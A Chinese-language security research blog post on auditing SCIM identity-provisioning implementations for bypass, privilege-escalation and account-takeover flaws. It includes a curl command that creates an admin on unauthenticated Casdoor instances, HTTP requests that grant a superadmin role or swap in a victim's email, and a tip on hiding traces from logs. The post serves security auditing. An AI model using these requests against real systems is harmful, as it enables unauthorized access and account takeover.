揭秘SCIM协议中的身份管理安全漏洞与审计技巧

本文深入探讨SCIM协议在身份管理系统中的安全风险，详细分析了认证绕过、令牌管理、内部属性操纵、验证绕过和账户接管等实际漏洞案例，为安全研究人员提供了全面的SCIM实现审计指南和实用技术建议。

SCIM安全审计：超越SSO的身份管理漏洞挖掘

引言

单点登录相关漏洞近年来获得了极大的关注，出现了大量精彩的公开披露。仅举几个例子：常见的OAuth漏洞、通过解析器差异绕过SAML SSO认证的“以任何人身份登录”、利用OAuth流程中的“脏舞”进行账户劫持等等——这其中的宝藏确实不少。

毫不奇怪，使用自定义实现的系统受影响最严重，因为将SSO与平台的用户对象模型集成并非易事。然而，虽然SSO经常占据中心舞台，但另一个标准却常常被忽视测试——SCIM。在本文中，我们将深入探讨其核心方面以及我们在测试客户实现时经常发现的不安全设计问题。

目录

  • SCIM 101
    • 核心组件
    • 关于实现的问题
    • 注意影响
  • 漏洞挖掘
    • 认证绕过
    • SCIM令牌管理
    • 不必要的用户重新配置回退
    • 内部属性操纵
    • 验证绕过
    • 账户接管
  • 额外关注领域
    • 通过SCIM操作语法绕过检查
    • 批量操作顺序评估
    • JSON互操作性
  • 结论

SCIM 101

SCIM 是一个旨在自动化跨系统用户账户配置和取消配置的标准，确保连接部分之间的访问一致性。该标准在以下RFC中定义：RFC7642、RFC7644、RFC7643。虽然它不是专门设计为身份提供者到服务提供者的协议，而是用于云环境的通用用户池同步协议，但现实世界中的场景大多将其嵌入在IdP-SP关系中。

核心组件

简而言之，该标准定义了一组由服务提供商公开的RESTful API，其他参与者（主要是身份提供者）应可调用这些API来更新用户池。

它提供了以下一组REST API操作来编辑托管对象：

  • 创建：POST https://example-SP.com/{v}/{resource}
  • 读取：GET https://example-SP.com/{v}/{resource}/{id}
  • 替换：PUT https://example-SP.com/{v}/{resource}/{id}
  • 删除：DELETE https://example-SP.com/{v}/{resource}/{id}
  • 更新：PATCH https://example-SP.com/{v}/{resource}/{id}
  • 搜索：GET https://example-SP.com/{v}/{resource}?<SEARCH_PARAMS>
  • 批量：POST https://example-SP.com/{v}/Bulk

因此，我们可以将SCIM总结为一组API，用于对一组表示用户身份的JSON编码对象执行CRUD操作。

核心功能

如果你想在SCIM实现中寻找漏洞，以下是审计期间需要审查的核心功能列表：

  1. 服务器配置和认证/授权中间件 - SCIM未定义其认证/授权方法，因此这通常是自定义的
  2. SCIM对象到内部对象的映射函数 - 后端如何将SCIM对象转换/链接到内部用户和组对象。通常它们更复杂，有大量约束和安全检查。例如：不应由用户控制的内部属性、SCIM中不允许的特定平台属性等
  3. 操作执行逻辑 - 身份相关对象中的更改通常会触发应用程序流程。例如：邮箱更新应触发确认流程/将用户标记为未确认，用户名更新应触发所有权/待处理邀请/重新认证检查等

注意影响

作为直接的IdP到SP通信，大多数导致的问题都需要在IdP或SP中具有某种级别的访问权限。因此，攻击的复杂性可能会降低大多数发现的严重性。相反，在多租户平台中，SCIM用户可能缺少常见的租户隔离逻辑，其影响可能会急剧上升。

漏洞挖掘

以下是审计SCIM实现时应寻找的一些有价值漏洞示例。

认证绕过

几个月前，我们发布了关于Casdoor IdP实例中未经身份验证的SCIM操作的安全公告。这是一个支持OAuth、SAML、OIDC等多种身份验证标准的开源身份解决方案。当然，SCIM也包括在内，但作为一项服务，意味着Casdoor也允许外部参与者操作其用户池。

Casdoor使用了elimity-com/scim库，根据该标准，该库默认配置中不包含身份验证。因此，使用此库定义和公开的SCIM服务器将保持未经身份验证的状态。

1
2
3
4

server := scim.Server{
 Config: config,
 ResourceTypes: resourceTypes,
}

利用实例需要邮箱匹配已配置的域。可以使用SCIM POST操作创建匹配内部邮箱域和数据的新用户。

1
2
3
4

curl --path-as-is -i -s -k -X $'POST' \
-H $'Content-Type: application/scim+json'-H $'Content-Length: 377' \
--data-binary $’{\"active\":true,\"displayName\":\"Admin\",\"emails\":[{\"value\":\"admin2@victim.com\"}],\"password\":\"12345678\",\"nickName\":\"Attacker\",\"schemas\":[\"urn:ietf:params:scim:schemas:core:2.0:User\",\"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\"],\"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\":{\"organization\":\"built-in\"},\"userName\":\"admin2\",\"userType\":\"normal-user\"}' \
$'https://<CASDOOR_INSTANCE>/scim/Users'

然后，使用新管理员用户admin2:12345678认证到IdP仪表板。

注意：维护者发布了新版本，其中包含修复。

虽然这是一个非常简单的关键问题，但在已认证的实现中也可能发现绕过。在其他情况下，该服务可能仅在内部可用且不受保护。

SCIM令牌管理

[*] IdP端问题

由于SCIM密钥允许对服务提供商执行危险操作，因此应在设置后防止其被提取。在配置的应用程序上测试或编辑IdP SCIM集成时，如果连接器URL与之前设置的不同，应要求输入新的SCIM令牌。

一个著名的IdP被发现使用旧密钥向/v1/api/scim/Users?startIndex=1&count=1发出SCIM集成测试请求，同时接受新的baseURL。

+1 额外提示 - 覆盖痕迹：通过使用包含成功SCIM集成测试预期数据的JSON模拟响应，避免记录错误。

用户查询的模拟响应JSON示例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

{
    "Resources": [
        {
            "externalId": "<EXTID>",
            "id": "francesco+scim@doyensec.com",
            "meta": {
                "created": "2024-05-29T22:15:41.649622965Z",
                "location": "/Users/francesco+scim@doyensec.com",
                "version": "<VERSION"
            },
            "schemas": [
                "urn:ietf:params:scim:schemas:core:2.0:User"
            ],
            "userName": "francesco+scim@doyensec.com"
        }
    ],
    "itemsPerPage": 2,
    "schemas": [
        "urn:ietf:params:scim:api:messages:2.0:ListResponse"
    ],
    "startIndex": 1,
    "totalResults": 8
}

[*] SP端问题

SCIM令牌的创建和读取应仅允许高权限用户操作。针对用于管理它的SP端点，寻找授权问题，或通过XSS或其他漏洞来升级平台中的访问级别。

不必要的用户重新配置回退

由于实时用户访问管理是SCIM的核心，因此也值得寻找导致被取消配置的用户重新获得对SP访问权限的回退机制。

例如，查看下面的update_scimUser函数：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

def can_be_reprovisioned?(usrObj)
    return true if usrObj.respond_to?(:active) && !usrObj.active?
    false
end

def update_scimUser(usrObj)
    # [...]
    if parser.deprovision_user?
      # [...]
    #  (o)__(o)'
    elsif can_be_reprovisioned?(usrObj) 
      reprovision(usrObj)
    else
      true
    end
end

由于respond_to?(:active)对于SCIM身份始终为true。如果用户不活跃，条件!identity.active?将始终为真并导致重新配置。

因此，任何SCIM更新请求都将回退到重新配置，如果用户因任何原因不活跃（例如，逻辑封禁、强制移除）。

内部属性操纵

在将身份同步外包给SCIM时，选择将SCIM对象中的哪些内容复制到新的内部对象变得至关重要，因为"过度"的属性允许可能导致漏洞。

[*] 示例1 - 内部角色权限提升

一个客户支持通过SCIM端点配置和更新Okta组和用户。

它将Okta组转换为内部角色，并带有自定义标签来引用"Okta资源"。具体来说，函数resource_to_access_map根据提供的SCIM组资源构建了一个未经验证的访问映射。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

[...]
    group_data, decode_error := decode_group_resource(resource.Attributes.AsMap())

    var role_list []string
    //  (o)__(o)'
    if resource.Id != "" {
        role_list = []string{resource.Id}
    }
    //...
    return access_map, nil, nil

实现问题在于，role_list中的角色名称是根据从第三方来源传递的Id属性构造的。

随后，另一个函数在没有进一步检查的情况下，从SCIM事件中更新Role对象。因此，可以通过在SCIM组ID中匹配其名称来覆盖平台中的任何现有资源。

例如，如果SCIM组资源ID设置为内部角色名称，就会发生有趣的事情：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

POST /api/scim/Groups HTTP/1.1
Host: <PLATFORM>
Content-Type: application/json; charset=utf-8
Authorization: Bearer 650…[REDACTED]…
…[REDACTED]…
Content-Length: 283
{
    "schemas": [“urn:ietf:params:scim:schemas:core:2.0:Group"],
    "id":"superadmin",
    "displayName": "TEST_NAME",
    "members": [{
        "value": "francesco@doyensec.com",
        "display": "francesco@doyensec.com"
    }]
}

该平台创建了一个名为TEST_NAME的访问映射，将superadmin角色授予成员。

[*] 示例2 - SCIM到用户映射中的批量分配

根据对象映射策略，其他内部属性操作也可能是可能的。

一个有趣的示例如下所示：

1
2
3
4
5

SSO_user.update!(
        external_id: scim_data["externalId"],
        #         (o)__(o)' 
        userData: Oj.load(scim_req_body),
      )

即使Oj默认值被覆盖（抱歉，没有反序列化），仍然可以将任何数据放入SCIM请求中，并通过userData访问。此逻辑假设它仅包含SCIM属性。

验证绕过

此类别包含由于SCIM事件引起的更新未应用所需的内部用户管理流程而导致的所有漏洞。

一个相关的有趣发现是GitLab绕过邮箱验证。我们在评估中也发现了涉及绕过代码验证流程的类似案例。

[*] 示例 - 相同但带有代码绕过

SCIM邮箱更改未触发其他邮箱更改操作所需的典型确认流程。

攻击者可以请求向其邮箱发送验证码，通过SCIM将邮箱更改为受害者邮箱，然后兑换验证码，从而验证新的邮箱地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

PATCH /scim/v2/<ATTACKER_SAML_ORG_ID>/<ATTACKER_USER_SCIM_ID> HTTP/2
Host: <CLIENT_PLATFORM>
Authorization: Bearer <SCIM_TOKEN>
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 205

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
    {
      "op": "replace",
      "value": {
        "userName": "<VICTIM_ADDRESS>"
    }
    }
  ]
}

账户接管

在多租户平台中，SSO-SCIM身份应链接到底层用户对象。虽然这不是RFC的一部分，但管理userName和邮箱等用户属性对于最终触发平台的验证和所有权检查流程是必需的。

GitLab账户通过SCIM邮箱更改接管就是一个公开的案例，其中更新底层用户时情况并不顺利。以下是在我们客户中发现的一个非常相似的实例。

[*] 示例 - 相同但不同

一个客户允许SCIM操作更改用户的邮箱并执行账户接管。

每当有SCIM用户的创建或更新时，都会调用set_username函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

        #[...]
        underlying_user = sso_user.underlying_user
        sso_user.scim["userName"] = new_name
        sso_user.username = new_name
        tenant = Tenant.find(sso_user.id)
        underlying_user&.change_email!(
          new_name,
          validate_email: tenant.isAuthzed?(new_name)
        )

        def underlying_user
            return nil if !tenant.isAuthzed?(self.username)
            # [...]
            #                                   (o)__(o)' 
            @underlying_user = User.find_by(email: self.username)
        end

根据isAuthzed，如果组织无权管理用户，underlying_user应为nil，从而阻止更改。在我们的具体案例中，授权函数未保护特定状态的用户不被接管。一旦添加到租户中，就可以使用SCIM强制更改受害者用户的邮箱并接管账户。如果与经典的"强制加入租户"问题结合，可以形成一个很好的攻击链。

此外，由于该平台未防止多SSO上下文切换，一旦使用新邮箱认证，攻击者就可以访问用户所属的所有其他租户。

额外关注领域

有趣的SCIM操作语法

根据RFC7644，Path属性定义如下：

“path"属性值是一个字符串，包含描述操作目标的属性路径。对于"add"和"replace"操作，“path"属性是可选的，对于"remove"操作是必需的。

由于path属性是可选的，当它是执行逻辑的一部分时，应仔细管理其nil的可能性。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

def exec_scim_ops(scim_identity, operation)
        path = operation["path"]
        value = operation["value"]

        case path
        when "members"
          # [...]
        when "externalId"
          # [...]
        else
          # 半捕获所有逻辑!
        end
      end

设置一个捕获所有默认情况可能允许另一种PatchOp消息语法仍然命中受限情况之一，同时跳过检查。以下是一个SCIM请求正文示例，它将跳过externalId检查并在上述上下文中对其进行编辑：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
    {
      "op": "replace",
      "value": {
        "externalId": "<ID_INJECTION>"
        }
    }
  ]
}

一个操作的值允许包含<属性:值>的字典。

批量操作顺序评估

由于可能支持批量操作（目前案例很少），这些实现中可能会出现特定问题：

  • 竞态条件 - 排序逻辑可能未包含对每个步骤中触发的额外流程的推理
  • 缺少循环引用保护 - RFC7644明确讨论了循环引用处理

JSON互操作性

由于SCIM采用JSON进行数据表示，JSON互操作性攻击可能导致挖掘列表中描述的大多数问题。一个众所周知的起点是文章。

一旦发现SCIM实现中使用的解析库，请检查其他内部逻辑是否依赖存储的JSON序列化，同时使用不同的解析器进行比较或解组。

尽管JSON是一种相对简单的格式，但JSON解析器差异可能导致有趣的情况。

结论

作为SSO的扩展，SCIM有潜力在特定情况下启用关键利用。如果你正在测试SSO，SCIM也应该在范围内！

最后，SCIM实现中大多数有趣的漏洞都需要对应用程序的授权和认证机制有深入的了解。真正的价值在于识别SCIM对象和映射的内部用户对象之间的差异，因为这些差异通常会导致有影响力的发现。

comments powered by Disqus
© 2020 - 2026 qife
使用 Hugo 构建
主题 Stack 由 Jimmy 设计
本站总访问量次 本站访客数人次